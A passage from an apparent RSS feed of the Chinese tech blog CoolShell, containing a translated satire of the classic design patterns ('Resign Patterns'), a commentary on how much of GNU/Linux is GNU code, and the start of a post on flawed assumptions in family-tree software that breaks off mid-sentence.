Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-150x150.jpg\" alt=\"从Code Review 谈如何做技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_title\">从Code Review 谈如何做技术</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"代码重构的一个示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3005.html\" class=\"wp_rp_title\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4875.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>106</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“另类” 设计模式</title>\n\t\t<link>https://coolshell.cn/articles/4844.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4844.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 16 Jun 2011 00:46:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[Pattern]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4844</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这篇文章来自这里：http://www.lsd.ic.unicamp.br/~oliva/fun/prog/resign-patterns，这篇文章有点意思...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4844.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4844.html\">“另类” 设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这篇文章来自这里：<a href=\"http://www.lsd.ic.unicamp.br/~oliva/fun/prog/resign-patterns\" target=\"_blank\">http://www.lsd.ic.unicamp.br/~oliva/fun/prog/resign-patterns</a>，这篇文章有点意思了，山寨了我们著名的Design Pattern。这篇文章并不是很容易翻译，也许我翻译的不好，大家多指正。另外，这篇文章将失去原有的趣味在于其使用了经典设计模式的单词很相似的单词，一走眼你还以为是正二八经的设计模式。呵呵。所以，我在下文中，我会保留原有的英文单词，并把真正的23个经典设计模式的英文名放在旁边（灰色）。这篇文章和之前的<a title=\"如何写出无法维护的代码\" href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\">如何写出无法维护的代码</a>有异曲同工，个人感觉都是比较欢乐的。</p>\n<p style=\"text-align: center;\">&nbsp;</p>\n<p style=\"text-align: center; font-size: 14pt;\"><strong>辞职模式<br />\n</strong><strong>Resign Patterns<br />\n</strong><strong><span style=\"color: #cccccc;\">Design Patterns</span></strong></p>\n<div style=\"text-align: center;\">不合式的非面向项目软件开发病症<br />\nAilments of Unsuitable Project-Disoriented Software<br />\n<span style=\"color: #cccccc;\">Elements of Reusable Object-Oriented Software</span></div>\n<div style=\"text-align: center;\"><strong>作者</strong>：<a href=\"mailto:mitework@yercompany.com\">Michael Duell</a></div>\n<h4 style=\"text-align: left;\"><strong>概要</strong></h4>\n<div style=\"text-align: justify;\">任何一个熟悉那本由四个人写的经典的设计模式书的朋友，应该知道那本书里的模式都是非常优雅和划时代的。然而，不幸的是，从那些老代码中无法提练出这些模式，因为，在出现这些模式前，大家都不会使用模式。因此，这项工作是从大量的代码中提练出一个模式的目录。这些模式都有充足和永恒的示例。希望你能享受阅读这些模式，但千万不要模仿并使用他们！</div>\n<h4 style=\"text-align: left;\">1. Cremational Patterns 火葬模式 | <span style=\"color: #999999;\">Creational patterns 创建模式</span></h4>\n<div style=\"text-align: left;\">下面是五个 cremational patterns.</div>\n<h5 style=\"text-align: left;\"><strong>1.1 Abject Poverty  一贫如洗 | <span style=\"color: #999999;\">Abstract Factory 抽象工厂</span></strong></h5>\n<p style=\"text-align: justify;\">Abject Poverty 模式能让你的软件相当难测试和维护， 并且需要巨大的财政支出，预算已经完全赤字。</p>\n<h5 style=\"text-align: left;\"><strong>1.2 Blinder 眼罩模式 | <span style=\"color: #999999;\">Builder 建造模式</span></strong></h5>\n<p style=\"text-align: justify;\">Blinder 模式是一个应急有效的解决方案，其不需要考虑需求在未来的变化。目前，我们还不太清楚我们为什么叫Blinder模式，一种说法是他们会在写代码的时候被设计人员戴上眼罩，另一种说法是他们希望在维护代码的时候挖出双眼。</p>\n<h5 style=\"text-align: left;\"><strong>1.3 Fallacy Method 错误方法 | <span style=\"color: #999999;\">Factory method 工厂方法</span></strong></h5>\n<p style=\"text-align: justify;\">Fallacy方法主要是在于处理一些不明显的案例。代码逻辑看上去是正确的，当只要某想要去测试一下，或是某个不明显的案例发生了，那些代码中的错误也就出现了。</p>\n<p style=\"text-align: justify;\"><span id=\"more-4844\"></span></p>\n<h5 style=\"text-align: left;\"><strong>1.4 ProtoTry   尝试模式| <span style=\"color: #999999;\">Prototype 原型模式</span></strong></h5>\n<p style=\"text-align: justify;\">ProtoTry 模式一个快速而肮脏的软件开发工作模型的尝试。这个模式的原意本来是想在后面有时间总结一下教训并改进或重写这些代码，但是可惜的是没有时间。所以，这些代码也就成了众所周知的 legacy code &#8211; 旧代码。</p>\n<h5 style=\"text-align: left;\"><strong>1.5 Simpleton 傻瓜模式 |<span style=\"color: #999999;\"> Singleton 单例模式</span></strong></h5>\n<p style=\"text-align: justify;\">Simpleton 模式，是把一个终极复杂的模式用于那些最最没有价值的工作上。这个模式精确地指出了人员的能力程度。</p>\n<p style=\"text-align: justify;\">&nbsp;</p>\n<h4 style=\"text-align: left;\"><strong>2. Destructural Patterns 无结构模式 | </strong><span style=\"color: #999999;\">Structural patterns  结构模式</span></h4>\n<p style=\"text-align: left;\">下面是七个经典的变性模式</p>\n<h5 style=\"text-align: left;\"><strong>2.1 Adopter 领养者模式 |<span style=\"color: #999999;\"> Adapter 适配器模式</span></strong></h5>\n<p style=\"text-align: justify;\">Adopter模式提供了一个给那些“孤儿函数”的家。这这些函数和整个大家族别的函数看上去一点也不一样，他们和整个家族的唯一联系就是通过我们的Adopter。</p>\n<h5 style=\"text-align: left;\"><strong>2.2 Brig 监狱模式 | <span style=\"color: #999999;\">Bridge 桥接模式</span></strong></h5>\n<p style=\"text-align: left;\">Brig 模式也就是那些坏代码的容器类。这就是众所周知的软件模块。</p>\n<h5 style=\"text-align: left;\"><strong>2.3 Compromise 妥协模式 | <span style=\"color: #999999;\">Composite 合成模式</span></strong></h5>\n<p style=\"text-align: justify;\">Compromise 模式主要用来平衡软件开发的工期和质量。 使用这个模式的结果是——劣质的软件 + 延误的工期。</p>\n<h5 style=\"text-align: left;\"><strong>2.4 Detonator 地雷模式 | <span style=\"color: #999999;\">Decorator 修饰模式</span></strong></h5>\n<p style=\"text-align: justify;\">Detonator 模式是极其普通的，在程序中放置一些不易查觉的地雷。一个常见的经典示例是只用两位数来表示年份。这个炸弹已经暴露出来了，并在那等着爆炸！（陈皓注：作者这里说的是千年虫问题，本文写在1997年）</p>\n<h5 style=\"text-align: left;\"><strong>2.5 Fromage 干酪模式 | <span style=\"color: #999999;\">Facade 外观模式</span></strong></h5>\n<p style=\"text-align: justify;\">Fromage 模式让软件看上去满是漏洞。 Fromage 模式让我们的软件像Cheesy（芝士，也有劣质的意思）一样，有大量的奇淫巧技让你的软件没有任何一点可移值性。这个模式和奶酪一样，越是老越是香啊。</p>\n<h5 style=\"text-align: left;\"><strong>2.6 Flypaper 捕蝇纸模式 | <span style=\"color: #999999;\">Flyweight 享元模式</span></strong></h5>\n<p style=\"text-align: justify;\">Flypaper 模式的意思是，代码是由设计的人完成，而由另一个人维护。维护着这个模式的那个写代码的人发现自己被粘住了，而且很有可能在软件失支控制前夭折。</p>\n<h5 style=\"text-align: left;\"><strong>2.7 ePoxy 沥清模式 |<span style=\"color: #999999;\"> Proxy 代理模式</span></strong></h5>\n<p style=\"text-align: justify;\">ePoxy 模式主旨把软件的模式紧密地耦合在一起。随着耦合模块的增加，我们就可以看到沾粘它们的沥清。</p>\n<h4><strong>3. Misbehavioral Patterns 行为不检模式| Behavioral Patterns 行为模式</strong></h4>\n<p>下面是11个行为不检点模式</p>\n<h5><strong>3.1 Chain of Possibilities 可能性链模式 | <span style=\"color: #999999;\">Chain of responsibility 责任链模式</span></strong></h5>\n<p style=\"text-align: justify;\">Chain of Possibilities 模式主旨是创造肥大的，拙劣文档的软件模块。没有人知道其功能有多宽泛，其可能性永无止境。也就是我们所说的——无确定性。</p>\n<h5><strong>3.2 Commando 突击队模式 | <span style=\"color: #999999;\">Command 命令模式</span></strong></h5>\n<p style=\"text-align: justify;\">Commando 模式主旨是用来应付工作，让事情快点完成。这个模式不管封装，只图快快把代码写完。反正不犯法。</p>\n<h5><strong>3.3 Intersperser 散布模式| <span style=\"color: #999999;\">Interpreter 解释器模式</span></strong></h5>\n<p style=\"text-align: justify;\">Intersperser 模式把一个功能的代码散布在系统的各个地方，其可以让功能无法被测试，修改，以及让人读懂。(陈皓注：这让我想起了以前VB，PB和Delphi的开发，功能的逻辑代码散步在各个组件的不同事件中)</p>\n<h5><strong>3.4 Instigator 煽动模式| <span style=\"color: #999999;\">Iterator 迭代器模式</span></strong></h5>\n<p>Instigator 模式看上去是良性的，但是其却大规模的以暴力的方式在破坏软件系统。（陈皓注：作者没有做过多的解释，不过，我想到了<a title=\"Windows编程革命简史\" href=\"https://coolshell.cn/articles/3008.html\" target=\"_blank\">Windows编程革命史</a>，应该说的就是这个吧）</p>\n<h5><strong>3.5 Momentum 冲击模式| <span style=\"color: #999999;\">Memento 备忘模式</span></strong></h5>\n<p style=\"text-align: justify;\">Momentum模式让软件大小，内存，CPU，和复杂度成极数级成长。（陈皓注：作者对此没做过多解释，这个特性很像Windows操作系统，每个Windows 的新版本，无论是在尺寸，内存和CPU要求上，和复杂度上都会比上一版有极数级的提高）</p>\n<h5><strong>3.6 Medicator 用药模式|<span style=\"color: #999999;\"> Mediator 媒介模式</span></strong></h5>\n<p>Medicator 模式是一个实时的屠夫一样，其把其它的系统搞得就像被打过强力镇静剂一样没有反应。</p>\n<h5><strong>3.7 Absolver 免责模式| <span style=\"color: #999999;\">Observer 观察者模式</span></strong></h5>\n<p style=\"text-align: justify;\">Absolver模式表现于那些被以前员工开发的代码的问题。对于现任员工，其可以因为很多代码里历史上的问题而免除被批评，其声称其对软件中的任何问题都不负责。这也是我们从所周知的——“这不是我的代码”。（参看：<a title=\"程序员惯用的解释(Top 25)\" href=\"https://coolshell.cn/articles/1174.html\" target=\"_blank\">程序员的借口</a>）</p>\n<h5><strong>3.8 Stake 利害关系模式 | <span style=\"color: #999999;\">State 状态模式</span></strong></h5>\n<p style=\"text-align: justify;\">Stake 模式表现于那些被现已成为经理的人写的代码中的各种问题。虽然这些问题很不爽，但是经理们在这个软件里的利害关系太高了，所以，不能让任何人重写，因为这代表着我们经理的技术成就。</p>\n<h5><strong>3.9 Eulogy 颂歌模式 | <span style=\"color: #999999;\">Strategy策略模式</span></strong></h5>\n<p style=\"text-align: justify;\">Eulogy 模式存在于所有的项目中，也就是 Post-Mortem(事后总结分析会)。</p>\n<h5><strong>3.10 Tempest Method 暴风雨模式| <span style=\"color: #999999;\">Template Method 模板方法</span></strong></h5>\n<p style=\"text-align: justify;\">Tempest Method 主要用在软件快要发布的最后几天。这个模式的物征是，代码中没有注释，并有使用了好几个Detonator Pattern 地雷模式。</p>\n<h5><strong>3.11 Visitor From Hell 地狱访问者模式 | <span style=\"color: #999999;\">Visitor 访问者模式</span></strong></h5>\n<p style=\"text-align: justify;\">Visitor From Hell 模式一般是在运行时没有检查数组越界的一个巧合。这样一来，我们系统就可以实现Visitor From Hell 模式，因为这样可以造成重要数据的重写。</p>\n<h4 style=\"text-align: left;\"><span style=\"font-size: x-small;\">参考</span></h4>\n<ul>\n<li><span style=\"font-size: x-small;\">[1] Gamma, E., Helm, R., Johnson, R., Vlissides, J., Design Patterns &#8211; </span><span style=\"font-size: x-small;\">Elements of Reusable Object-Oriented Software. Addison-Wesley, 1995.</span></li>\n</ul>\n<ul>\n<li><span style=\"font-size: x-small;\">[2] Michael Duell is an Engineer at AG Communication Systems, where his </span><span style=\"font-size: x-small;\">Resign Patterns have been rejected in favor of the Gang </span><span style=\"font-size: x-small;\">of Four Design Patterns.</span></li>\n</ul>\n<ul>\n<li><span style=\"font-size: x-small;\">[3] &#8220;Resign Patterns: Ailments of Unsuitable Project-Disoriented Software,&#8221; </span><span style=\"font-size: x-small;\">The Software Practitioner, Vol. 7, No. 3, May-June 1997, p. 14.</span></li>\n</ul>\n<p style=\"text-align: left;\"><span style=\"font-size: x-small;\"> </span></p>\n<p style=\"text-align: left;\"><span style=\"font-size: x-small;\"> </span></p>\n<div style=\"text-align: left;\"><span style=\"font-size: x-small;\">（全文完）</span></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4844.html\">“另类” 设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4844.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>GNU/Linux下有多少是GNU的？</title>\n\t\t<link>https://coolshell.cn/articles/4826.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4826.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 13 Jun 2011 00:25:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[GNU]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Ubuntu]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4826</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一个葡萄牙的学生写了一篇文章 《How much GNU is there in GNU/Linux?》 &#8211; GNU/Linux下有多少是GNU的。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4826.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4826.html\">GNU/Linux下有多少是GNU的？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一个葡萄牙的学生写了一篇文章 《<a href=\"http://pedrocr.net/text/how-much-gnu-in-gnu-linux\" target=\"_blank\">How much GNU is there in GNU/Linux?</a>》 &#8211; GNU/Linux下有多少是GNU的。他的这篇文章主要分布了今年4月份的Ubuntu Natty的Linux分发包。其主要是用代码行来做的分析，其给了两个饼图。</p>\n<p>第一个饼图如下，其指明了各种主流的开源项目组的分布情况。可见GNU只占了8%，当然，GNome也是GNU的，加起来也只有13%，只占整个分发包很少的比重。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://pedrocr.net/images/GNUTotalSplit.png\" alt=\"\" /></p>\n<p>第二个图，作者把GNU的部分拿了出来，再进行了分析：</p>\n<p><span id=\"more-4826\"></span></p>\n<p>在下面这个图中，我们可以看到主要是四大块——gcc, gdb, binutils 和 glibc，所以，作者说，这些东西都不是最终用户需要的，不是每一个用户都是需要搞开发的。所以，如果去除这些，再去除Gnome（这个桌面UI也不是很力），那么GNU的东西几乎没有了。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://pedrocr.net/images/GNUSplit.png\" alt=\"\" /></p>\n<p>所以，作者以此来挑战Richard Stallman提到的 GNU/Linux的这个说法。好像更为好的说法应该叫——</p>\n<p style=\"text-align: center;\"><strong>GNU/KDE/java/xorg/Linux</strong></p>\n<p>我对这篇文章有下述一些感觉：</p>\n<ul>\n<li>以代码行来衡量重要性，非常的不准确。比尔盖茨说过——“用代码行数来衡量编程的进度，就如同用航空器零件的重量来衡量航空飞机的制造进度一样”（参看《<a title=\"最佳编程语录\" href=\"https://coolshell.cn/articles/2753.html\" target=\"_blank\">最佳编程语录</a>》），所以，用这个数据来并不一定正确。如果用Linux的各种包的依赖性可能会更好一点。</li>\n<li>至少我知道，离开了glibc，可能整个操作系统都会不举。Linux下，绝大多数软件都是gcc/gdb编程和调试出来的（当然，LLVM和Clang正在挑战着gcc编译器），而且大多数软件都在用着GPL的许可证（<a title=\"狗日的开源软件许可证\" href=\"https://coolshell.cn/articles/4657.html\" target=\"_blank\">虽然开源世界的许可证是如此的混乱</a>）</li>\n<li>辩证地，我们不能否定GNU的历史价值，同时我们似乎也在看到GNU好像有点萎靡。</li>\n</ul>\n<p>老实说，其实叫什么不重要，是GNU/Linux也好，是Ubuntu 也好，还是Android也好，无所谓。Linux的各种分发包中都存在着全世界黑客文化的和开源文化的结晶，每当我看到这样的分布图时（例如：<a title=\"谁写了Linux\" href=\"https://coolshell.cn/articles/1360.html\" target=\"_blank\">是谁写的Linux?</a>），我心中都有一种说不出来的豪情，这难道不真是一种壮举吗？（<a title=\"Unix传奇(上篇)\" href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">Unix黑客文化的真正延伸</a>）。</p>\n<p>不管这种方式的软件有没有市场，能不能得到“最终用户”的认可，但这已成为了软件开发的一种精神——那种不分彼此，相互协作的精神，不是吗？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_title\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li ><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Ubuntu的并行启动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_title\">Ubuntu的并行启动</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4826.html\">GNU/Linux下有多少是GNU的？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4826.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>38</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>软件真的好难做啊</title>\n\t\t<link>https://coolshell.cn/articles/4811.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4811.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 10 Jun 2011 00:45:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4811</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得以前本站的那一篇“编程好难啊”吗，那是一篇众程序员调侃程序新手的文章，有恶搞的成分在里面。今天要和大家说的这个事没有一些恶搞和调侃的意思，是比较严肃的话题...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4811.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4811.html\">软件真的好难做啊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得以前本站的那一篇“<a title=\"编程真难啊\" href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\">编程好难啊</a>”吗，那是一篇众程序员调侃程序新手的文章，有恶搞的成分在里面。今天要和大家说的这个事没有一些恶搞和调侃的意思，是比较严肃的话题，你一定可以从中收获一些东西。这个话题来自StackOverflow上的一个问题——<a title=\"Cycle in family tree software\" href=\"http://stackoverflow.com/questions/6163683/cycles-in-family-tree-software\" target=\"_blank\">Cycle in Family Tree Software</a>，这个程序员问了下面这个问题：</p>\n<blockquote><p>我是一个写家族族谱软件的程序员（我用的是C++和Qt），这个软件基本上没有什么问题，直到有一天有个用户报告了一个bug。这个问题是这样的——<strong>我这个用户和他女儿生了两个孩子</strong>。</p>\n<p>于是，我程序员的一些断言和硬性条件导致程序报错，因为我的程序在处理这个关系的时候，其发现X即是Y的爸爸，又是Y的爷爷，所以只能报错。</p>\n<p>请问，<strong>在不需要移除我的断言和数据验证的情况下，</strong><strong>我怎么才能解决这个问题</strong>？</p></blockquote>\n<p>看到这里，请重点阅读一下下面的两点：</p>\n<ul>\n<li>如果你看到这里开始兴奋了，请你为你阴暗的心理去面壁反省10分钟，因为这是一个很技术的问题。</li>\n<li>如果你开始陷入了深深的思考如何解决这个问题，那么你绝对是一个合格的程序员，因为你已陷入技术已经很深了，有点呆了。</li>\n</ul>\n<p>我在前面说过，“<strong>这个是一个严肃的话题，你可以从中收获一些东西</strong>”，当然，我并不希望你来收获乱伦的知识和心得，酷壳是一个技术博客，应该是收获技术方面的东西。</p>\n<p><span id=\"more-4811\"></span></p>\n<p>从技术的角度上来说，这是我们经常在设计软件时犯的错误——</p>\n<h4><strong>1）作了错误的假设</strong>（Assumption）</h4>\n<p>Assumption是软件设计的重大天敌，Assumption的动词Assume意为Ass u me &#8211; Ass you and me 。你的假设做得越多，你的设计就越不靠谱。这里的假设是——我们以为family 